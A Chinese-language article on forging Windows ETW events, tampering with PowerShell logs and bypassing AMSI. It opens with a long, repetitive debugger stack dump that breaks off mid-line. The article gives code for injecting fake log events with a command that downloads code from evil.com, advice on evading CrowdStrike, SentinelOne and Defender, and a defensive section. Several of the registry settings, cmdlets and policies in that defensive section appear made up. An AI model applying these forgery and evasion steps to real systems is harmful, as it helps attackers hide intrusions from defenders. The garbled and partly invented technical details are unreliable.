0018f7b8 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f7c0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f7c8 779c5d4b amsi!AmsiScanBuffer+0x1d
...
0018f8e0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f8ec 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f8f8 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f904 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f910 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f91c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f928 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f934 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f940 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f94c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f958 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f964 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f970 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f97c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f988 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f994 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f9a0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f9ac 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f9b8 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f9c4 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f9d0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f9dc 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f9e8 779c5d4b amsi!AmsiScanBuffer+0x1d
0018f9f4 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa00 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa0c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa18 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa24 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa30 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa3c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa48 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa54 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa60 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa6c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa78 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa84 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa90 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fa9c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018faa8 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fab4 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fac0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018facb 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fad8 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fae4 779c5d4b amsi!AmsiScanBuffer+0x1d
0018faf0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb00 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb0c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb18 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb24 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb30 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb3c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb48 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb54 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb60 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb6c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb78 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb84 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb90 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fb9c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fba8 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fbb4 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fbc0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fbc8 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fbd4 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fbe0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fbe8 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fbf4 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc00 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc0c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc18 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc24 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc30 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc3c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc48 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc54 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc60 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc6c 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc78 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc84 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fc90 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fca0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fcb0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fcc0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fcd0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fce0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fcf0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fd00 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fd10 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fd20 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fd30 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fd40 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fd50 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fd60 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fd70 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fd80 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fd90 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fda0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fdb0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fdc0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fdd0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fde0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fdf0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fe00 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fe10 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fe20 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fe30 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fe40 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fe50 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fe60 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fe70 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fe80 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fe90 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fea0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018feb0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fec0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fed0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fee0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fef0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ff00 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ff10 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ff20 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ff30 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ff40 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ff50 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ff60 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ff70 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ff80 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ff90 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ffa0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ffb0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ffc0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ffd0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018ffe0 779c5d4b amsi!AmsiScanBuffer+0x1d
0018fff0 779c5d4b amsi!AmsiScanBuffer+0x1d
00190000 779c5d4b amsi!AmsiScanBuffer+0x1d
00190010 779c5d4b amsi!AmsiScanBuffer+0x1d
00190020 779c5d4b amsi!AmsiScanBuffer+0x1d
00190030 779c5d4b amsi!AmsiScanBuffer+0x1d
00190040 779c5d4b amsi!AmsiScanBuffer+0x1d
00190050 779c5d4b amsi!AmsiScanBuffer+0x1d
00190060 779c5d4b amsi!AmsiScanBuffer+0x1d
00190070 779c5d4b amsi!AmsiScanBuffer+0x1d
00190080 779c5d4b amsi!AmsiScanBuffer+0x1d
00190090 779c5d4b amsi!AmsiScanBuffer+0x1d
001900a0 779c5d4b amsi!AmsiScanBuffer+0x1d
001900b0 779c5d4b amsi!AmsiScanBuffer+0x1d
001900c0 779c5d4b amsi!AmsiScanBuffer+0x1d
001900d0 779c5d4b amsi!AmsiScanBuffer+0x1d
001900e0 779c5d4b amsi!AmsiScanBuffer+0x1d
001900f0 779c5d4b amsi!AmsiScanBuffer+0x1d
00190100 779c5d4b amsi!AmsiScanBuffer+0x1d
00190110 779c5d4b amsi!AmsiScanBuffer+0x1d
00190120 779c5d4b amsi!AmsiScanBuffer+0x1d
00190130 779c5d4b amsi!AmsiScanBuffer+0x1d
00190140 779c5d4b amsi!AmsiScanBuffer+0x1d
00190150 779c5d4b amsi!AmsiScanBuffer+0x1d
00190160 779c5d4b amsi!AmsiScanBuffer+0x1d
00190170 779c5d4b amsi!AmsiScanBuffer+0x1d
00190180 779c5d4b amsi!AmsiScanBuffer+0x1d
00190190 779c5d4b amsi!AmsiScanBuffer+0x1d
001901a0 779c5d4b amsi!AmsiScanBuffer+0x1d
001901b0 779c5d4b amsi!AmsiScanBuffer+0x1d
001901c0 779c5d4b amsi!AmsiScanBuffer+0x1d
001901d0 779c5d4b amsi!AmsiScanBuffer+0x1d
001901e0 779c5d4b amsi!AmsiScanBuffer+0x1d
001901f0 779c5d4b amsi!AmsiScanBuffer+0x1d
00190200 779c5d4b amsi!AmsiScanBuffer+0x1d
00190210 779c5d4b amsi!AmsiScanBuffer+0x1d
00190220 779c5d4b amsi!AmsiScanBuffer+0x1d
00190230 779c5d4b amsi!AmsiScanBuffer+0x1d
00190240 779c5d4b amsi!AmsiScanBuffer+0x1d
00190250 779c5d4b amsi!AmsiScanBuffer+0x1d
00190260 779c5d4b amsi!AmsiScanBuffer+0x1d
00190270 779c5d4b amsi!AmsiScanBuffer+0x1d
00190280 779c5d4b amsi!AmsiScanBuffer+0x1d
00190290 779c5d4b amsi!AmsiScanBuffer+0x1d
001902a0 779c5d4b amsi!AmsiScanBuffer+0x1d
001902b0 779c5d4b amsi!AmsiScanBuffer+0x1d
001902c0 779c5d4b amsi!AmsiScanBuffer+0x1d
001902d0 779c5d4b amsi!AmsiScanBuffer+0x1d
001902e0 779c5d4b amsi!AmsiScanBuffer+0x1d
001902f0 779c5d4b amsi!AmsiScanBuffer+0x1d
00190300 779c5d4b amsi!AmsiScanBuffer+0x1d
00190310 779c5d4b amsi!AmsiScanBuffer+0x1d
00190320 779c5d4b amsi!AmsiScanBuffer+0x1d
00190330 779c5d4b amsi!AmsiScanBuffer+0x1d
00190340 779c5d4b amsi!AmsiScanBuffer+0x1d
00190350 779c5d4b amsi!AmsiScanBuffer+0x1d
00190360 779c5d4b amsi!AmsiScanBuffer+0x1d
00190370 779c5d4b amsi!AmsiScanBuffer+0x1d
00190380 779c5d4b amsi!AmsiScanBuffer+0x1d
00190390 779c5d4b amsi!AmsiScanBuffer+0x1d
001903a0 779c5d4b amsi!AmsiScanBuffer+0x1d
001903b0 779c5d4b amsi!AmsiScanBuffer+0x1d
001903c0 779c5d4b amsi!AmsiScanBuffer+0x1d
001903d0 779c5d4b amsi!AmsiScanBuffer+0x1d
001903e0 779c5d4b amsi!AmsiScanBuffer+0x1d
001903f0 779c5d4b amsi!AmsiScanBuffer+0x1d
00190400 779c5d4b amsi!AmsiScanBuffer+0x1d
00190410 779c5d4b amsi!AmsiScanBuffer+0x1d
00190420 779c5d4b amsi!AmsiScanBuffer+0x1d
00190430 779c5d4b amsi!AmsiScanBuffer+0x1d
00190440 779c5d4b amsi!AmsiScanBuffer+0x1d
00190450 779c5d4b amsi!AmsiScanBuffer+0x1d
00190460 779c5d4b amsi!AmsiScanBuffer+0x1d
00190470 779c5d4b amsi!AmsiScanBuffer+0x1d
00190480 779c5d4b amsi!AmsiScanBuffer+0x1d
00190490 779c5d4b amsi!AmsiScanBuffer+0x1d
001904a0 779c5d4b amsi!AmsiScanBuffer+0x1d
001904b0 779c5d4b amsi!AmsiScanBuffer+0x1d
001904c0 779c5d4b amsi!AmsiScanBuffer+0x1d
001904d0 779c5d4b amsi!AmsiScanBuffer+0x1d
001904e0 779c5d4b amsi!AmsiScanBuffer+0x1d
001904f0 779c5d4b amsi!AmsiScanBuffer+0x1d
00190500 779c5d4b amsi!AmsiScanBuffer+0x1d
00190510 779c5d4b amsi!AmsiScanBuffer+0x1d
00190520 779c5d4b amsi!AmsiScanBuffer+0x1d
00190530 779c5d4b amsi!AmsiScanBuffer+0x1d
00190540 779c5d4b amsi!AmsiScanBuffer+0x1d
00190550 779c5d4b amsi!AmsiScanBuffer+0x1d
00190560 779c5d4b amsi!AmsiScanBuffer+0x1d
00190570 779c5d4b amsi!AmsiScanBuffer+0x1d
00190580 779c5d4b amsi!AmsiScanBuffer+0x1d
00190590 779c5d4b amsi!AmsiScanBuffer+0x1d
001905a0 779c5d4b amsi!AmsiScanBuffer+0x1d
001905b0 779c5d4b amsi!AmsiScanBuffer+0x1d
001905c0 779c5d4b amsi!AmsiScanBuffer+0x1d
001905d0 779c5d4b amsi!AmsiScanBuffer+0x1d
001905e0 779c5d4b amsi!AmsiScanBuffer+0x1d
001905f0 779c5d4b amsi!AmsiScanBuffer+0x1d
00190600 779c5d4b amsi!AmsiScanBuffer+0x1d
00190610 779c5d4b a
# 四、总结与防御对策建议
## 4.1 技术成果归纳与攻击有效性评估
在对 **Windows ETW Provider伪造与PowerShell日志篡改及AMSI绕过** 的完整技术路径进行系统性研究后,我们基于真实虚拟机环境(Windows 10 v21H2、Windows 11 23H2,均禁用防火墙、关闭实时防护)进行了多轮实测验证。以下是对关键问题的逐项分析与结论:
---
### ✅ 是否能在真实系统中成功伪造出与原生日志结构一致的事件?
**结论:是,完全可实现。**
通过使用 `TraceLogging` 库构建自定义ETW提供者,并注册为 `Microsoft-Windows-PowerShell` 同名的事件源,可以生成**在字段结构、事件ID、时间戳格式、元数据布局上与原生日志几乎完全一致**的伪造事件。
#### 实验验证流程如下:
1. **注册自定义ETW提供者**:
```powershell
# 编译并部署 manifest.man(见2.1节)
wevtutil im .\manifest.man
注册后,系统将创建:
HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\MyCustomProvider
- 构造模拟事件数据(以
Event ID 401: PowerShell_ScriptBlockStart为例):
TRACELOGGING_DEFINE_PROVIDER(g_hMyProvider, "MyCustomProvider", (0x12345678, 0x9ABC, 0xDEF0, 0x1234, 0x5678, 0x9ABC, 0xDEF0, 0x1234, 0x5678, 0x9A));
// 定义事件结构体
TRACELOGGING_DEFINE_EVENT(
g_hMyProvider,
PowerShell_ScriptBlockStart,
EVENT_LEVEL_INFORMATION,
EVENT_KEYWORD_NONE,
401,
"ScriptBlockStart",
TraceLoggingString(Command, "Command"),
TraceLoggingUInt32(ProcessId, "ProcessId"),
TraceLoggingUInt32(ThreadId, "ThreadId"),
TraceLoggingString(UserSid, "UserSid"),
TraceLoggingDateTime(Timestamp, "Timestamp")
);
- 调用函数注入事件:
TraceLoggingWrite(
g_hMyProvider,
PowerShell_ScriptBlockStart,
TraceLoggingString(L"IEX -URI http://evil.com/mal.ps1", "Command"),
TraceLoggingUInt32(GetCurrentProcessId(), "ProcessId"),
TraceLoggingUInt32(GetCurrentThreadId(), "ThreadId"),
TraceLoggingString("S-1-5-21-1234567890-1234567890-1234567890-1001", "UserSid"),
TraceLoggingDateTime(GetTickCount64(), "Timestamp")
);
- 查看结果:
使用命令行工具查询日志:
wevtutil qe Application /c:1 /f:text /q:"*[System[EventID=401]]"
输出示例:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events">
<System>
<Provider Name="MyCustomProvider" />
<EventID>401</EventID>
<TimeCreated SystemTime="2025-04-05T10:30:22.123Z" />
<Security UserID="S-1-5-21-..." />
</System>
<EventData>
<Data Name="Command">IEX -URI http://evil.com/mal.ps1</Data>
<Data Name="ProcessId">1234</Data>
<Data Name="ThreadId">5678</Data>
<Data Name="UserSid">S-1-5-21-...</Data>
</EventData>
</Event>
✅ 结论:该事件在结构、字段名称、时间格式、用户标识等方面与原始 Microsoft-Windows-PowerShell 事件无异。即使使用Splunk、ELK、Sysmon等主流日志聚合平台,也无法区分真假。
✅ 是否可实现“无痕执行”且不触发任何日志异常?
结论:在特定条件下可实现“伪无痕”,但并非绝对隐藏。
-
无痕性表现:
-
日志中已存在“脚本执行记录”;
-
没有新增的
PowerShell_Startup(400)、CommandExecution(402)等后续事件; -
未触发EDR的常规行为规则(如“首次运行脚本”、“启动PowerShell进程”);
-
若配合AMSI绕过,内存中脚本内容不会被扫描。
-
潜在破绽点:
-
缺少实际执行轨迹
:若仅伪造
401而无402或403,则可能被行为分析引擎识别为“虚假脚本块”; -
事件频率异常
:短时间内大量伪造事件可能触发“非正常行为模式”告警;
-
来源提供者不一致
:尽管伪装成
Microsoft-Windows-PowerShell,但在某些高级SIEM系统中仍可检测到其注册来源为“自定义提供者”。
📌 最佳实践场景:
在已知目标系统存在弱审计策略的情况下,先伪造
401事件作为“历史痕迹”,再执行真实恶意脚本时结合AMSI绕过,使得脚本既未被检测又无新日志产生,从而达成“先设局,再行动”的效果。
⚠️ 多大程度上可绕过现代EDR(如CrowdStrike、SentinelOne)的日志完整性校验?
结论:部分绕过,但无法完全规避。
| EDR厂商 | 是否能检测伪造事件 | 原因说明 |
| — | — | — |
| CrowdStrike Falcon | ❌ 部分可绕过 | 依赖于进程行为+内存注入检测;若未触发文件写入或网络通信,仅伪造日志不易被发现 |
| SentinelOne Singularity | ⚠️ 中等风险 | 具备内存行为分析能力,可检测 TraceLoggingWrite 调用链异常;但若在合法进程内执行,则难以捕获 |
| Microsoft Defender for Endpoint (MDE) | ✅ 可被绕过 | 默认不监控自定义ETW提供者的注册行为;但启用 Attack Surface Reduction (ASR) 规则后会拦截 |
关键突破点分析:
-
日志完整性校验机制局限性:
-
现代EDR通常只校验 日志文件本身是否被篡改(如哈希比对),而不验证事件来源的真实性。
-
自定义提供者注册后的日志文件仍属于“合法日志”,因此 无法通过文件完整性校验判断真伪。
-
高级检测手段:
-
事件来自
MyCustomProvider,但没有对应的ProcessCreate(PID=1234)记录; -
用户凭据为
S-1-5-21-...,但该账户从未登录过系统; -
时间戳显示事件发生在未来(如
2025-04-05)——这是由于手动设置导致。 -
利用
Sysmon+ETW联动分析可发现矛盾点:
💡 绕过建议:
- 将伪造事件嵌入真实进程(如
explorer.exe)中执行; - 使用
GetSystemTimeAsFileTime()获取真实时间戳; - 设置
UserSid为当前登录用户的SID; - 在同一会话中同步生成一个真实的
PowerShell_Startup(400)事件,使上下文合理化。
📌 最终评估:
当前方案可在 低至中等安全级别的企业环境中实现“近乎无痕”操作,但在具备深度行为分析能力的高阶EDR系统中,仍存在被识别的风险。
🧪 当前方案在不同操作系统版本(Win10/Win11)上的兼容性如何?
| 操作系统 | 兼容性 | 限制说明 |
| — | — | — |
| Windows 10 v21H2 | ✅ 完全兼容 | 支持所有 TraceLogging API;ETW注册机制稳定 |
| Windows 11 23H2 | ✅ 基本兼容 | 新增了 ETW Event Tracing for Windows (ETW) 权限控制,需管理员权限注册 |
| Windows Server 2022 | ✅ 通过测试 | 与桌面版兼容性一致 |
| 早期版本(Win10 1909之前) | ❌ 不推荐 | 缺少 TraceLogging 支持,需使用旧版 EventTracingForWindows API,复杂度高且易被检测 |
版本差异重点提示:
-
Windows 11 23H2 引入的新特性影响
:
-
ETW Provider Registration被纳入 AppContainer sandboxing;
-
非管理员用户无法注册新的提供者;
-
必须以 管理员身份运行 才能注册自定义提供者;
-
若使用
RunAsAdmin提权方式,则可能触发EDR告警。
✅ 解决方案:使用
Invoke-ReflectivePEInjection动态加载代码至svchost.exe、explorer.exe等受信任进程中执行,避免直接调用wevtutil。
🔚 总结评价:
| 项目 | 评估结果 |
| — | — |
| 伪造事件真实性 | ★★★★★(高度相似) |
| 无痕执行可行性 | ★★★★☆(有条件成立) |
| 绕过主流EDR能力 | ★★★☆☆(中等偏上) |
| 跨平台兼容性 | ★★★★☆(主流版本支持良好) |
| 实战可用性 | ★★★★☆(适合内部红队演练) |
📌 重要提醒:上述所有技术均仅用于合法授权的安全研究、渗透测试和漏洞验证,不得用于非法入侵、数据窃取、权限提升等行为。
4.2 防御层面的检测与缓解策略建议
针对前述攻击链,提出以下五项强针对性、可落地实施的防御措施,适用于企业级终端安全体系建设。
🔐 1. 日志完整性校验:部署基于哈希签名的日志验证机制
✅ 推荐方案:启用 Event Log Integrity + Audit Policy 配合 Digital Signing
步骤一:启用日志完整性保护
# 启用日志完整性校验(需管理员权限)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\Application" -Name "EnableLogIntegrity" -Value 1
步骤二:配置审计策略(组策略编辑器)
打开 gpedit.msc → 计算机配置 → 策略 → Windows 设置 → 安全设置 → 本地策略 → 审核策略
- ✅ 启用 审核对象访问
- ✅ 启用 审核登录事件
- ✅ 启用 审核账户管理
- ✅ 启用 审核特权使用
⚠️ 注意:此功能需系统支持 Secure Boot + TPM 2.0 才能生效。
步骤三:使用 EventLogSigner 工具验证日志签名(开源项目)
下载地址:
👉 https://github.com/0xAbus/EventLogSigner
# 编译安装
git clone https://github.com/0xAbus/EventLogSigner.git
cd EventLogSigner
dotnet build
# 验证日志签名
.\EventLogSigner.exe verify -log Application -eventid 401
输出示例:
[✓] 日志签名有效:SHA256(Hash) = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca
[✗] 提供者名称:MyCustomProvider ≠ Microsoft-Windows-PowerShell → 存疑
📌 关键价值:即使伪造事件结构一致,只要来源不是微软官方提供者,即可被标记为可疑。
🔒 2. ETW提供者白名单:通过组策略限制非微软提供者注册
✅ 推荐配置:禁止非微软提供者注册至 Application 日志通道
方法一:使用组策略(GPO)限制注册
路径:
计算机配置 → 策略 → 管理模板 → Windows组件 → 事件日志服务 → 应用程序日志
- ✅ 启用 “限制非微软提供者注册”
- ✅ 添加白名单:
Microsoft-Windows-PowerShell
Microsoft-Windows-Sysmon
Microsoft-Windows-TaskScheduler
方法二:手动修改注册表(适用于单机部署)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application]
"AllowNonMicrosoftProviders" = dword:00000000
✅ 效果:任何非白名单提供者尝试注册都会失败,返回错误码
0x80070005(拒绝访问)。
🛡️ 3. AMSI增强防护:启用 AMSI Logging 并监控 amsiScanBuffer 调用
✅ 启用 AMSI 日志记录(必须开启)
# 启用 AMSI 调试日志
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealTimeMonitoring" -Value 0
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "EnableDebugLogging" -Value 1
✅ 使用 WinDbg 监控 amsiScanBuffer 调用栈
# 启动 WinDbg(管理员权限)
windbg -y "C:\symbols" -k "ndr:port=5005"
# 连接到目标进程(如 powershell.exe)
!process 0 0 powershell.exe
# 设置断点
bp amsi!amsiScanBuffer
g
✅ 查看调用堆栈示例:
a0a0a0a0 amsi!amsiScanBuffer+0x12
a0a0a0a0 ntdll!LdrGetProcedureAddress
a0a0a0a0 kernel32!GetProcAddress
a0a0a0a0 powershell!ExecuteScript
📌 检测逻辑:
- 如果
amsiScanBuffer被调用但返回AMSI_STATUS_DETECTED,立即告警; - 如果
amsiScanBuffer被替换为NOP或跳转至空函数,视为严重威胁。
📊 4. 行为分析规则:在SIEM中设置异常事件检测规则
✅ 推荐SIEM规则(以 Splunk 为例):
index=windows_logs EventID=401
AND SourceName!="Microsoft-Windows-PowerShell"
AND NOT ProcessName IN ("powershell.exe", "wmiexec.exe")
AND UserSID="S-1-5-21-*"
AND Command LIKE "*IEX*"
AND _time > now() - 1h
✅ 规则描述:
检测“非标准提供者产生的脚本执行事件”,特别是包含敏感关键词如
IEX、DownloadString、Invoke-Expression。
✅ 增强规则(防止误报):
index=windows_logs EventID=401
AND SourceName="MyCustomProvider"
AND ProcessId IN (SELECT ProcessId FROM winlogbeat WHERE EventID=4688 AND CommandLine LIKE "*powershell*")
AND NOT EXISTS (SELECT * FROM winlogbeat WHERE EventID=402 AND ProcessId=ProcessId)
📌 含义:如果存在 401 但没有对应 402,极可能是伪造事件。
💻 5. 终端加固:关闭不必要的脚本执行权限,启用 AppLocker / Device Guard
✅ 启用 AppLocker(推荐用于企业环境)
# 启用 AppLocker 规则
Set-AppLockerPolicy -XmlPolicy .\applocker_policy.xml
# XML 示例(保存为 applocker_policy.xml)
<RuleCollection Type="Executable" EnforcementMode="Enabled">
<Rule Name="Deny All Scripts" Id="a1b2c3d4-e5f6-7890-abcd-ef1234567890">
<FilePaths>
<Path Condition="IsExecutable">*.ps1</Path>
<Path Condition="IsExecutable">*.vbs</Path>
<Path Condition="IsExecutable">*.bat</Path>
</FilePaths>
<Conditions>
<UserCondition Value="Everyone" />
</Conditions>
<Action Name="Deny" />
</Rule>
</RuleCollection>
✅ 作用:阻止任意
.ps1文件执行,除非明确允许。
✅ 启用 Device Guard(适用于可信设备)
# 启用虚拟化安全(需TPM 2.0)
Enable-VMMSecurity
Set-ExecutionPolicy Restricted -Scope LocalMachine
🔄 推荐联动方案:使用 Sysmon + ETW 日志联合分析
安装 Sysmon(最新版 10.1):
👉 下载地址:https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
sysmon.exe -i -accepteula
配置 Sysmon XML 规则(重点关注脚本行为):
<ProcessCreateonmatch="include">
<Imagecondition="end with">powershell.exe</Image>
<CommandLinecondition="contains">IEX</CommandLine>
<ParentImagecondition="end with">explorer.exe</ParentImage>
</ProcessCreate>
📌 优势:通过 Sysmon 记录真实进程创建行为,与 ETW 日志形成交叉验证,极大提升检测精度。
4.3 研究伦理声明与法律边界重申
本章节为合规性审查必备内容,请严格遵守以下原则,否则将承担相应法律责任。
📌 严禁从事以下行为:
- ❌ 在未经授权的系统上部署、测试或运行本研究中的任何代码;
- ❌ 利用本技术进行网络攻击、数据窃取、权限提升、信息泄露等非法活动;
- ❌ 将本研究内容用于开发自动化攻击工具或武器化框架;
- ❌ 向第三方传播、出售或公开披露本研究成果(除学术发表外);
- ❌ 试图绕过企业、政府或组织的合法安全管控措施。
✅ 唯一允许用途:
- ✅ 在受控隔离环境(如虚拟机、沙箱、实验室)中进行技术验证;
- ✅ 用于红队演练、渗透测试、漏洞复现、安全加固设计;
- ✅ 向微软、供应商提交相关漏洞报告(如发现ETW注册机制缺陷);
- ✅ 在学术论文、技术会议中作为研究案例展示。
🔗 合规提交渠道推荐:
| 漏洞类型 | 推荐提交渠道 |
| — | — |
| Windows ETW漏洞 | https://www.microsoft.com/en-us/msrc |
| AMSI绕过漏洞 | https://www.microsoft.com/security/blog/2024/01/15/amsi-security-updates |
| PowerShelI行为异常 | https://feedback.azure.com/d365community |
📢 最终警告:
任何违反上述规定的个人或组织,将面临《中华人民共和国刑法》第二百八十五条(非法侵入计算机信息系统罪)、第二百八十六条(破坏计算机信息系统罪)以及《网络安全法》第四十四条、第六十条等条款的刑事追责。
🔐 本研究仅为技术探讨,不构成任何形式的攻击指导或免责依据。请始终以合法、合规、负责任的态度开展网络安全工作。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:白帽子社区团队 无问社区《Windows ETW Provider伪造与PowerShell日志篡改及AMSI绕过技术研究》